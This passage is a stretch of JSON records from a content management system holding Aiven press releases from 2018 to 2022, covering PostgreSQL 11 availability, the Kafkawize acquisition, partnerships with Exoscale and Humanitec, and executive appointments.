Aiven"}],"markDefs":[],"style":"normal"},{"_key":"oIRixgIe","_type":"block","children":[{"_key":"RKo5h9zJ","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney, Toronto, and Tokyo, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"cNBWjsK6","_type":"block","children":[{"_key":"7IQSEKDX","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"pcq1BnWb","_type":"block","children":[{"_key":"no8NrRXU","_type":"span","marks":[],"text":"Tom Fry, Resonance, tom@resonancecrowd.com"}],"markDefs":[],"style":"normal"},{"_key":"ZpXjpuZY","_type":"block","children":[{"_key":"xEbuHjLm","_type":"span","marks":[],"text":"Rachel Romoff, Communications Director Americas - press@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-09-14T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven’s latest solution is a fast, resource-effective database that allows the generation of analytical data reports in real-time","metaTitle":"AivenDataWarehousingMarketClickHouse® Beta"},"slug":{"_type":"slug","current":"/press/Aiven Enters Data Warehousing Market with Aiven for ClickHouse® Beta"},"subtitle":"Aiven’s latest solution is a fast, resource-effective database that allows the generation of analytical data reports in real-time","title":"Aiven enters data warehousing market with Aiven for ClickHouse® Beta"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"3T797FpMHKCW1Sm4f4DIyt","_rev":"Gpxvh8f3DECNLdA0uhZevp","_type":"pressRelease","_updatedAt":"2023-08-04T09:29:30Z","body":"__Helsinki, Finland__\n\nAiven is the first to make PostgreSQL 11 generally available across AWS, GCP, Microsoft Azure, DigitalOcean, and UpCloud platforms. This is the second time since PostgreSQL 10 was released that Aiven was the first to offer the latest major version in a generally available form.\n\nAs data volumes have soared, PostgreSQL has been working on enhancing its performance when dealing with large-scale data. PostgreSQL 11 continues the theme with improvements to its partitioning, parallel queries, and addition of Just-in-Time compilation.\n\nHannu Valtonen, VP of Product for Aiven, discusses why it was important to quickly make PG 11 available to its users, \"Our users have been especially waiting for the feature to support Just-In-Time (JIT) compilation for their workloads and we wanted to be able to give our customers an edge by being the first to support the new features.\"\n\nNew users can access PostgreSQL 11 in minutes by creating an Aiven account and deploying PG 11 in the cloud and region of their choice. Current users can create a new instance or upgrade a current one using Aiven’s in-place major version upgrade feature.\n\nFor a brief overview of PostgreSQL 11’s more interesting improvements, [Aiven’s blog post](https://aiven.io/blog/postgresql-11-now-generally-available-on-aiven/). For the complete release notes, visit the [PostgreSQL Development Group site](https://www.postgresql.org/docs/devel/release-11.html).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"DuSCoK9p","_type":"block","children":[{"_key":"0e5948f4323b","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — November 6, 2018-"},{"_key":"9cDtzFxG","_type":"span","marks":[],"text":" is the first to make PostgreSQL 11 generally available across AWS, GCP, Microsoft Azure, DigitalOcean, and UpCloud platforms. This is the second time since PostgreSQL 10 was released that Aiven was the first to offer the latest major version in a generally available form."}],"markDefs":[],"style":"normal"},{"_key":"Add6J9rm","_type":"block","children":[{"_key":"kN36rFAf","_type":"span","marks":[],"text":"As data volumes have soared, PostgreSQL has been working on enhancing its performance when dealing with large-scale data. PostgreSQL 11 continues the theme with improvements to its partitioning, parallel queries, and addition of Just-in-Time compilation."}],"markDefs":[],"style":"normal"},{"_key":"RFr0E4eR","_type":"block","children":[{"_key":"Orfgcbeo","_type":"span","marks":[],"text":"Hannu Valtonen, VP of Product for Aiven, discusses why it was important to quickly make PG 11 available to its users, \"Our users have been especially waiting for the feature to support Just-In-Time (JIT) compilation for their workloads and we wanted to be able to give our customers an edge by being the first to support the new features.\""}],"markDefs":[],"style":"normal"},{"_key":"yaLtoc2M","_type":"block","children":[{"_key":"eeKy8qq7","_type":"span","marks":[],"text":"New users can access PostgreSQL 11 in minutes by creating an Aiven account and deploying PG 11 in the cloud and region of their choice. Current users can create a new instance or upgrade a current one using Aiven’s in-place major version upgrade feature."}],"markDefs":[],"style":"normal"},{"_key":"4PvjhTMi","_type":"block","children":[{"_key":"PjNuk65J","_type":"span","marks":[],"text":"For a brief overview of PostgreSQL 11’s more interesting improvements, "},{"_key":"3919c2a040eb","_type":"span","marks":["9f95b8496c60"],"text":"Aiven’s blog post"},{"_key":"c93243d0548f","_type":"span","marks":[],"text":". For the complete release notes, visit the "},{"_key":"mmRD605N","_type":"span","marks":["m4876102471916"],"text":"PostgreSQL Development Group site"},{"_key":"JSFI0GQa","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m4876102471916","_type":"link","href":"https://www.postgresql.org/docs/devel/release-11.html"},{"_key":"9f95b8496c60","_type":"internalLink","internalLink":{"_ref":"3MzPdya5bNv78u9lue1cL8","_type":"reference"}}],"style":"normal"},{"_key":"dLlJYvNM","_type":"block","children":[{"_key":"zHBqpH3n","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"OpSBdUTW","_type":"block","children":[{"_key":"D8E7kWQJ","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"JBhHqibW","_type":"block","children":[{"_key":"lSBgGOVR","_type":"span","marks":[],"text":"You can visit "},{"_key":"ofXZYdKj","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"DipkgEpT","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"nyO9Vhx6","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"DW8dan6O","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2018-11-06T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: We were the first to make PostgreSQL 11 generally available across AWS, GCP, Microsoft Azure \u0026 other platforms in 2018.","metaTitle":"Aiven first to provide PostgreSQL 11 In the cloud"},"slug":{"_type":"slug","current":"/press/aiven-first-to-provide-postgresql-11-in-the-cloud"},"subtitle":"Aiven Press Release: We were the first to make PostgreSQL 11 generally available across AWS, GCP, Microsoft Azure \u0026 other platforms in 2018.","title":"Aiven first to provide PostgreSQL 11 In the cloud"} {"__i18n_lang":"en","_createdAt":"2022-09-30T15:57:26Z","_id":"3SHRWehHvhIqxaM9Fjhy1K","_rev":"ElrRHx5al3kb1PwLXHPPZd","_type":"pressRelease","_updatedAt":"2022-12-02T13:23:43Z","content":[{"_key":"2Ydb1s3T","_type":"block","children":[{"_key":"4Jx4aMSF","_type":"span","marks":["em"],"text":"On the heels of its successful Series D funding round, Aiven reinvests in its company growth and ongoing commitment to open source program via investment in Kafkawize, now Klaw."}],"markDefs":[],"style":"normal"},{"_key":"i7zW5WnR","_type":"block","children":[{"_key":"744af122fe4f","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — September 29, 2022"},{"_key":"R5BSGFPn","_type":"span","marks":[],"text":"— "},{"_key":"VOcHj4Zm","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"imqeFUrc","_type":"span","marks":[],"text":", the open source cloud data platform company, today announced "},{"_key":"Banfts3K","_type":"span","marks":["m5422984811133"],"text":"Kafkawize"},{"_key":"VXAIcMdm","_type":"span","marks":[],"text":", an open source data governance tool for Apache Kafka®, is joining Aiven. Marking a first for the company, this acquisition signals Aiven’s evolution from an open-source contributor to a steward of open-source communities. As part of this transition, Kafkawize has been renamed Klaw."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m5422984811133","_type":"link","href":"https://kafkawize.com/"}],"style":"normal"},{"_key":"fRUvHd5T","_type":"block","children":[{"_key":"stw4wyQa","_type":"span","marks":[],"text":"“I’m thrilled to welcome Klaw to the Aiven family and strengthen our collective commitment to open source,” said Oskari Saarenmaa, CEO and co-founder of Aiven. “Enhancing our ability to support the open source community at scale, this acquisition is a natural progression of the work being done in our Open Source Program Office, and we can’t wait to continue evolving our commitment in an impactful way.”"}],"markDefs":[],"style":"normal"},{"_key":"SdOwYR7B","_type":"block","children":[{"_key":"iCoq3p4T","_type":"span","marks":[],"text":"Klaw directly meets the needs of developers by providing a Kafka governance interface that can manage topic-level operations. Klaw has joined Aiven’s Open Source Program Office where it will continue to be developed as an open source project under the Apache License 2.0. Kafkawize's Founder and developer, "},{"_key":"dP9kMHIJ","_type":"span","marks":["m3590309553690"],"text":"Murali Basani"},{"_key":"fmgxgZ5M","_type":"span","marks":[],"text":", will also join the Aiven Open Source Program Office to continue working on Klaw."}],"markDefs":[{"_key":"m3590309553690","_type":"link","href":"https://www.linkedin.com/in/muralibasani/"}],"style":"normal"},{"_key":"mF4GlhO2","_type":"block","children":[{"_key":"YdAt4Gua","_type":"span","marks":[],"text":"“While most organizations are widely adopting Kafka in their technology stacks, companies are also struggling with improper governance of hundreds of topics created and their authorizations. I started Kafkawize in 2018 to help answer important questions around topic ownership and security. I wanted to fill these and other gaps around the governance of Kafka topics, ACLs, schemas and connectors in an auditable way.” said Basani. “With Aiven’s support, Klaw can reach its full potential in the coming years. I am excited to continue this open source journey at Aiven.”"}],"markDefs":[],"style":"normal"},{"_key":"8yKDaJqn","_type":"block","children":[{"_key":"cU6D5sZV","_type":"span","marks":[],"text":"Klaw provides data governance with enterprise grade security and user management functionality, solving obstacles organizations face when scaling the adoption of Apache Kafka®, such as user management and topic-level operations. As Apache Kafka® utilization becomes more complex with broader use and a growing ecosystem, Klaw helps organizations make better decisions, enhance regulatory compliance and optimize efficiency of their Apache Kafka® footprint at scale."}],"markDefs":[],"style":"normal"},{"_key":"hwR1rdrH","_type":"block","children":[{"_key":"25kduwVg","_type":"span","marks":[],"text":"In addition to the Open Source Program Office that was founded in April of 2021, Aiven also supports its employees in their personal open source pursuits through its Plankton Program, a program that allows employees to claim compensation for the time they spend on open source activities outside of work. It allows Aiven to support and recognize the extra work and improvements its employees are having on the overall open source ecosystem."}],"markDefs":[],"style":"normal"},{"_key":"1EtWw9uW","_type":"block","children":[{"_key":"XN7jNiZD","_type":"span","marks":[],"text":"For more information on Aiven, please visit "},{"_key":"15aLjH2M","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io/"},{"_key":"03Hlz1fW","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"UKiRdWGJ","_type":"block","children":[{"_key":"4bXOUCtp","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"DYCca7py","_type":"block","children":[{"_key":"n3gmBNqb","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"mtxXNSA0","_type":"block","children":[{"_key":"GriJRJcu","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"lvLLi5eT","_type":"block","children":[{"_key":"UHVUhLtQ","_type":"span","marks":[],"text":"Aiven"}],"markDefs":[],"style":"normal"},{"_key":"Q5TmgncB","_type":"block","children":[{"_key":"nBi09ZAu","_type":"span","marks":[],"text":"Rachel Romoff"}],"markDefs":[],"style":"normal"},{"_key":"rQc8wW26","_type":"block","children":[{"_key":"6InTsOik","_type":"span","marks":["m8397223825790"],"text":"rachel.romoff@aiven.io"}],"markDefs":[{"_key":"m8397223825790","_type":"link","href":"mailto:rachel.romoff@aiven.io"}],"style":"normal"}],"publishedAt":"2022-09-29T00:00:00.000Z","seo":{"metaDescription":"Aiven, the open source cloud data platform company, today announced Kafkawize, an open source data governance tool for Apache Kafka®, is joining Aiven.","metaTitle":"Kafkawize joins Aiven to continue open source journey"},"slug":{"_type":"slug","current":"/press/kafkawize-joins-aiven-to-continue-open-source-journey"},"subtitle":"Aiven, the open source cloud data platform company, today announced Kafkawize, an open source data governance tool for Apache Kafka®, is joining Aiven.","title":"Kafkawize joins Aiven to continue open source journey"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"3lbS0uI6eBeT5JAPMW9Vyg","_rev":"0rD6Phxg3duzic15oE8ZDV","_type":"pressRelease","_updatedAt":"2022-12-02T12:43:52Z","content":[{"_key":"caHQQxFP","_type":"block","children":[{"_key":"0da02a72fd6e","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — June 23, 2021"},{"_key":"rJkKPCLk","_type":"span","marks":[],"text":" — "},{"_key":"zq8MsmMh","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"LHR5mDfP","_type":"span","marks":[],"text":", a software company that combines the best open source technologies with cloud infrastructure, today announced its partnership with "},{"_key":"xyznqnvR","_type":"span","marks":["m3502795916905"],"text":"Exoscale"},{"_key":"4A3nR8mt","_type":"span","marks":[],"text":", a European cloud hosting alternative, to offer Exoscale customers Aiven’s managed database services."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m3502795916905","_type":"link","href":"https://www.exoscale.com/"}],"style":"normal"},{"_key":"IWrC4cMF","_type":"block","children":[{"_key":"sxVxMsZV","_type":"span","marks":[],"text":"Over the years, Exoscale has helped hundreds of European customers migrate, run and scale their production workloads - all while ensuring full GDPR compliance for all workloads it manages. Through this partnership, Aiven and Exoscale will be better positioned to serve the European market’s cloud services needs while ensuring full compliance."}],"markDefs":[],"style":"normal"},{"_key":"DCR9tFGv","_type":"block","children":[{"_key":"DwegtMU7","_type":"span","marks":[],"text":"DBaaS (Database-as-a-Service) is the fastest growing domain in cloud services, according to Gartner, and "},{"_key":"ZqpvCyHn","_type":"span","marks":["m4136441043906"],"text":"market research"},{"_key":"74DPAIml","_type":"span","marks":[],"text":" predicts the global cloud database and DBaaS market size will reach $26B by 2025. The partnership enables Exoscale customers to instantly and seamlessly create relational and distributed databases in an integrated environment without any security compromise."}],"markDefs":[{"_key":"m4136441043906","_type":"link","href":"https://www.globenewswire.com/en/news-release/2021/01/14/2158960/0/en/Cloud-Database-and-DBaaS-Market-to-reach-US-26-billion-by-2025-Global-Insights-on-Trends-Value-Chain-Analysis-Growth-Opportunities-Key-Stakeholders-Players-and-Business-Opportuniti.html"}],"style":"normal"},{"_key":"kLAm42U6","_type":"block","children":[{"_key":"qKY8kTps","_type":"span","marks":[],"text":"“European businesses face unique compliance challenges and requirements. Through our partnership with one of the world’s leading DBaaS providers, we’re better able to support our customers’ growing database services needs, all while doing what we do best - ensuring compliance,” said Mathias Nöbauer, CEO of Exoscale. “We’re excited to partner with Aiven and expand our cloud service offerings for our customers.”"}],"markDefs":[],"style":"normal"},{"_key":"zUmptgtv","_type":"block","children":[{"_key":"c7LxtBUw","_type":"span","marks":[],"text":"Aiven’s managed services offered within the Exoscale public cloud include database instances, database storage and API services, enabling features like the ability to create, restore and manage different database stores, migrate database services without user disruption when upgrading software or migrating instances across cloud infrastructure, as well as statistics and monitoring information on the underlying operating system."}],"markDefs":[],"style":"normal"},{"_key":"Ik2atUUF","_type":"block","children":[{"_key":"tAL2ghIm","_type":"span","marks":[],"text":"“As the DBaaS market continues its rapid expansion, it's important to Aiven to meet the data residency needs and challenges of businesses,” said Aiven CEO Oskari Saarenmaa.“ We are excited to work with Exoscale in offering DBaaS services to their customers.”"}],"markDefs":[],"style":"normal"},{"_key":"JXKQNAqy","_type":"block","children":[{"_key":"Nysz36mD","_type":"span","marks":[],"text":"For more information about Exoscale’s DBaaS offering powered by Aiven, please visit "},{"_key":"M1viWli1","_type":"span","marks":["m14516457497267"],"text":"https://www.exoscale.com/dbaas/"},{"_key":"AcccoWd0","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14516457497267","_type":"link","href":"https://www.exoscale.com/dbaas/"}],"style":"normal"},{"_key":"eUuS7BHy","_type":"block","children":[{"_key":"RBLtYCk1","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"cs8u4ODs","_type":"block","children":[{"_key":"Q5V9BQuF","_type":"span","marks":[],"text":"Headquartered in Helsinki with hubs in Berlin, Sydney, Toronto and Boston, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, we do what we do best; manage cloud data infrastructure. We enable our customers to drive business results from open source that trigger true transformations far beyond their own backyards. Visit us at "},{"_key":"v7n3UM03","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"T3xM2PGz","_type":"span","marks":[],"text":" and follow "},{"_key":"a5F7Wu8N","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"1XkyxKlG","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"TOpYmYKP","_type":"block","children":[{"_key":"dth6JtwV","_type":"span","marks":["strong"],"text":"About Exoscale"}],"markDefs":[],"style":"normal"},{"_key":"BXiF6EzA","_type":"block","children":[{"_key":"yfA6soVo","_type":"span","marks":[],"text":"Exoscale provides cloud hosting enabling teams and individuals to host applications, automate infrastructure, store data safely, and run heavy computations. Exoscale customers range from many SaaS companies to scientific labs, financial institutions, and other large-scale organisations. With virtual machines, object storage, advanced network functionality, and GPU-backed instances in addition to the highest level of data privacy, Exoscale is the right choice for security-conscious users worldwide. Exoscale is headquartered in Switzerland and operates datacenters in Geneva, Zurich and other European cities. For more information please visit "},{"_key":"capp57Yo","_type":"span","marks":["m3502795916905"],"text":"www.exoscale.com"},{"_key":"SSh4YcoJ","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3502795916905","_type":"link","href":"https://www.exoscale.com/"}],"style":"normal"}],"publishedAt":"2021-06-23T00:00:00.000Z","seo":{"metaDescription":"Aiven will provide its leading open-source DBaaS services to deliver a comprehensive data cloud service on Exoscale infrastructure.","metaTitle":"Aiven partners up with Exoscale to drive DBaaS offerings"},"slug":{"_type":"slug","current":"/press/aiven-partners-with-exoscale-to-drive-open-source-database-as-a-service"},"subtitle":"Aiven will provide its leading open-source DBaaS services to deliver a comprehensive data cloud service on Exoscale infrastructure.","title":"Aiven partners up with Exoscale to drive DBaaS offerings"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"2kE8fdy7GvaS3gafjhQYuX","_rev":"0rD6Phxg3duzic15oE8HRC","_type":"pressRelease","_updatedAt":"2022-12-02T12:36:06Z","content":[{"_key":"tyJ6TZAt","_type":"block","children":[{"_key":"qpjLF1iM","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — March 2, 2021"},{"_key":"wvysFW4v","_type":"span","marks":[],"text":"— "},{"_key":"SiCvSi4K","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"5sMQhm4Y","_type":"span","marks":[],"text":", a software company that combines the best open source technologies with cloud infrastructure, today announced its technical alliance with "},{"_key":"QAUCNnzp","_type":"span","marks":["m14262056162974"],"text":"Humanitec"},{"_key":"9Hjgrk0E","_type":"span","marks":[],"text":", the market-leading provider of Internal Developer Platforms. By pairing Aiven and Humanitec technologies, the application and database layers on each public cloud platform can work in harmony."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m14262056162974","_type":"link","href":"https://humanitec.com/"}],"style":"normal"},{"_key":"ABuK31H5","_type":"block","children":[{"_key":"YAMPvOYs","_type":"span","marks":[],"text":"Aiven’s service lets developers use various open source managed databases on AWS, GCP, Azure, DigitalOcean, and UpCloud minimizing vendor lock-in and standardizing the developer experience in the cloud, while Humanitec performs the equivalent for the application layer. Humanitec users build their own Internal Developer Platform (IDP), then plug into existing delivery, orchestration, and management tools like your CI Pipeline, Kubernetes Cluster, or an Aiven database service. Together, Aiven and Humanitec aim to keep overhead within operations teams as low as possible and provide developers a customized, reliable solution based on their unique needs."}],"markDefs":[],"style":"normal"},{"_key":"hSe2Mxli","_type":"block","children":[{"_key":"CDfFZxib","_type":"span","marks":[],"text":"“Our alliance with Humanitec is a huge stride forward for the developer cloud experience,” says Oskari Saarenmaa, CEO of Aiven. “Not only do our offerings complement one another, but by teaming up with Humanitec, we can provide enhanced productivity for development and operations teams across the board.”"}],"markDefs":[],"style":"normal"},{"_key":"0AANznL5","_type":"block","children":[{"_key":"rYyd7F0T","_type":"span","marks":[],"text":"Developers now have more time to focus on features, rather than the quirks of underlying data and vendor infrastructure. This alliance also breaks down the complexity of multi-cloud use cases, giving customers who desire to future-proof their business a new path to take by standardizing and automating workflows and scripts to reach seamless operations on and transition between providers. Customers will begin to see reduced maintenance overhead, smoother scripting processes, and minimal change to various APIs. By reaching this degree of standardization, developer-self service is also possible, increasing productivity for operations teams."}],"markDefs":[],"style":"normal"},{"_key":"P6zZG0So","_type":"block","children":[{"_key":"GbtXbbHN","_type":"span","marks":[],"text":"“Developer experience drives velocity. For enterprise-developers, what tech their code runs on should be an implementation detail the ops team takes care of,” says Kaspar von Grünberg, CEO at Humanitec. “We’ve changed the game on the app-layer already, and I’m excited to extend this momentum to the database-layer through this partnership.”"}],"markDefs":[],"style":"normal"},{"_key":"huf6FKcW","_type":"block","children":[{"_key":"xwowsdfT","_type":"span","marks":["strong"],"text":"About Aiven"},{"_key":"v7aaCjig","_type":"span","marks":[],"text":" Headquartered in Helsinki with offices in Berlin, Sydney, Toronto and Boston, Aiven is an SOC 2 and ISO 27001 certified cloud data platform provider, operating managed open source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide. For more information, visit "},{"_key":"Qc9oJqn4","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io"},{"_key":"IMM9nxEv","_type":"span","marks":[],"text":" or follow Aiven on Twitter: "},{"_key":"AQgN5AH0","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"FdYDiWlY","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"oC2ARYBx","_type":"block","children":[{"_key":"BGExFlxh","_type":"span","marks":["strong"],"text":"About Humanitec"},{"_key":"Q98ytsaj","_type":"span","marks":[],"text":" Humanitec is the market leader for Internal Developer Platforms. The company helps Ops teams from startups to enterprises build and run their own Internal Developer Platforms for their application development teams. Humanitec's unique approach relieves pressure on Ops and boosts developer productivity. For more information, visit "},{"_key":"kgvSxsgc","_type":"span","marks":["m14262056162974"],"text":"https://humanitec.com"},{"_key":"U8mtbgL2","_type":"span","marks":[],"text":" or follow Humanitec on Twitter: "},{"_key":"Ams47fpO","_type":"span","marks":["m953004155197"],"text":"@Humanitec_com"}],"markDefs":[{"_key":"m14262056162974","_type":"link","href":"https://humanitec.com/"},{"_key":"m953004155197","_type":"link","href":"https://twitter.com/Humanitec_com"}],"style":"normal"}],"publishedAt":"2021-03-02T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"The alliance with the market leading provider of Internal Developer Platforms will simplify daily developer workflows and maintenance.","metaTitle":"Aiven Humanitec alliance for new developer experience layer"},"slug":{"_type":"slug","current":"/press/aiven-and-humanitec-alliance-for-new-developer-experience-layer"},"subtitle":"The alliance with the market leading provider of Internal Developer Platforms will simplify daily developer workflows and maintenance.","title":"Aiven and Humanitec alliance for new developer experience layer"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"4M90TmniNW7wQHBYugUJGS","_rev":"K0rtrsNuqDEgCtVQHcbHRk","_type":"pressRelease","_updatedAt":"2022-12-20T07:38:46Z","body":"__HELSINKI, Finland__ — [Aiven](https://aiven.io/ \"Aiven\"), a software company that combines the best open source technologies with cloud infrastructure, announced today the appointment of __Julian Lange__ as Chief Financial Officer and __James Arlen__ as Chief Information Security Officer to the Aiven team.\n\nBringing a combined 35+ years of experience to Aiven, both Lange and Arlen represent key additions to an executive team the company has started building out last year. The additions follow Aiven’s $40M [Series B](https://aiven.io/press/aiven-raises-40-million-series-b \"Series B\") from early 2020, after which the company further emphasized several new initiatives, including the expansion of its product roadmap and operations in North America, to heighten global awareness of Aiven’s offerings.\n\n“The strategic appointment of Julian and James is paramount to our future success,” said __Oskari Saarenmaa__, CEO of Aiven. “Given our continued fast growth, it is important we bring onboard seasoned professionals in vital functions such as Finance and Information Security, next to our big investments into our technological, engineering and go-to-market capabilities.”\n\nLange has more than 15 years of experience in private and public companies, having worked with large corporations and startups in a variety of B2B and B2C industries. Previously CFO at ASX listed Marley Spoon, he helped grow a small startup into a profitable $300+ million revenue company, operating on three continents, over the course of six years. Before that, Lange worked at General Electric (GE) for 10 years and held several key financial roles in both the US and Europe.\n\n“Aiven’s growth to-date has been impressive,” Lange said. “I am thrilled to have the opportunity to join the company at such a pivotal moment in its evolution and look forward to contributing to Aiven’s continued success.” \n\nWith more than two decades of experience delivering information security solutions to Fortune 500, TSE 100 and major public-sector companies, Arlen has held key roles in publicly traded financial companies, large-scale power utilities and internationally-recognized manufacturing and financial organizations. Prior to joining Aiven, he most recently served as the Director of Production Engineering at Salesforce Heroku. Arlen’s expertise, which includes security certifications in CISSP, CISA and CRISC, has led him [to be a known voice](https://twitter.com/myrcurial \"James Arlen on Twitter\") in the industry as a blogger, podcaster, speaker and contributor to media and standards.\n\n“In this new role with Aiven, I plan to broaden our compliance base, continue to execute an already advanced security program and fully integrate security across all our organization’s functions. The future for Aiven is bright, and I am excited to offer my skills and insights as the company continues to evolve,” Arlen said.\n\n###\n\n__About Aiven__\nHeadquartered in Helsinki with offices in Berlin, Sydney, Toronto and Boston, Aiven is an SOC 2 and ISO 27001 certified cloud data platform provider, operating managed open source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide. For more information, visit [https://aiven.io](https://aiven.io/ \"Aiven\") or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io \"Aiven Twitter\"). ","content":[{"_key":"oXaOLsAj","_type":"block","children":[{"_key":"D1NfduIg","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — February 17, 2021- "},{"_key":"GSXQnVkl","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"08kZh7Gm","_type":"span","marks":[],"text":", a software company that combines the best open source technologies with cloud infrastructure, announced today the appointment of "},{"_key":"ALgsGwvv","_type":"span","marks":["strong"],"text":"Julian Lange"},{"_key":"E1Gix7gA","_type":"span","marks":[],"text":" as Chief Financial Officer and "},{"_key":"5HRviiSG","_type":"span","marks":["strong"],"text":"James Arlen"},{"_key":"rO6kswQC","_type":"span","marks":[],"text":" as Chief Information Security Officer to the Aiven team."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"4PvY8zYC","_type":"block","children":[{"_key":"QF2xZEQA","_type":"span","marks":[],"text":"Bringing a combined 35+ years of experience to Aiven, both Lange and Arlen represent key additions to an executive team the company has started building out last year. The additions follow Aiven’s $40M "},{"_key":"iCwW0rku","_type":"span","marks":["m10535325451318"],"text":"Series B"},{"_key":"xUsmTHcf","_type":"span","marks":[],"text":" from early 2020, after which the company further emphasized several new initiatives, including the expansion of its product roadmap and operations in North America, to heighten global awareness of Aiven’s offerings."}],"markDefs":[{"_key":"m10535325451318","_type":"link","href":"https://www.tfir.io/aiven-raises-40-million-in-series-b-funding/"}],"style":"normal"},{"_key":"Qq7Kv7t6","_type":"block","children":[{"_key":"qupWqayz","_type":"span","marks":[],"text":"“The strategic appointment of Julian and James is paramount to our future success,” said "},{"_key":"olhBZRjm","_type":"span","marks":["strong"],"text":"Oskari Saarenmaa"},{"_key":"g1lGypuO","_type":"span","marks":[],"text":", CEO of Aiven. “Given our continued fast growth, it is important we bring onboard seasoned professionals in vital functions such as Finance and Information Security, next to our big investments into our technological, engineering and go-to-market capabilities.”"}],"markDefs":[],"style":"normal"},{"_key":"m99vMA6H","_type":"block","children":[{"_key":"wmlRPlLN","_type":"span","marks":[],"text":"Lange has more than 15 years of experience in private and public companies, having worked with large corporations and startups in a variety of B2B and B2C industries. Previously CFO at ASX listed Marley Spoon, he helped grow a small startup into a profitable $300+ million revenue company, operating on three continents, over the course of six years. Before that, Lange worked at General Electric (GE) for 10 years and held several key financial roles in both the US and 